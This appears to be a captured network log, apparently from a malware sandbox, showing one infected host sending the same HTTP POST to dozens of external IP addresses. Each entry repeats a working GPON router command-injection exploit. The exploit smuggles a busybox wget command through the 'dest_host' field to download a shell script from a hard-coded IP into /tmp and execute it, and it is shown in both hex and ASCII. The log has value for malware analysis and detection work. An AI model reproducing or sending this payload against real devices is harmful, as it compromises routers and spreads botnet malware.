Mar 21, 2024 05:27:02.414791107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.23	40098	212.253.94.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414823055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.23	43298	212.202.189.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414858103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.23	43474	178.120.119.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414900064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.23	40444	109.113.219.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414930105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.23	44700	212.234.75.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414936066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.23	37514	178.86.41.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414966106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1580	192.168.2.23	52222	109.174.144.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.414967060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1581	192.168.2.23	38530	210.159.70.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415035009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1582	192.168.2.23	60950	178.187.61.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415038109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1583	192.168.2.23	37258	118.255.114.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415040970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1584	192.168.2.23	47396	178.52.52.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415071011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1585	192.168.2.23	52068	5.122.245.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415116072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1586	192.168.2.23	55610	79.242.32.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415147066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1587	192.168.2.23	54392	42.160.238.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415174961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1588	192.168.2.23	41388	37.30.101.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415198088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1589	192.168.2.23	59132	94.192.95.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415218115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1590	192.168.2.23	40966	37.8.27.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415226936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1591	192.168.2.23	39244	109.72.0.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415292025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1592	192.168.2.23	48816	109.243.140.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415333033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1593	192.168.2.23	45120	178.101.0.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415340900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1594	192.168.2.23	36570	37.125.32.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415349007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1595	192.168.2.23	57304	118.115.109.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415374041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1596	192.168.2.23	44144	37.144.159.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.415411949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1597	192.168.2.23	59544	5.230.118.93	443

Timestamp	Bytes transferred	Direction	Data
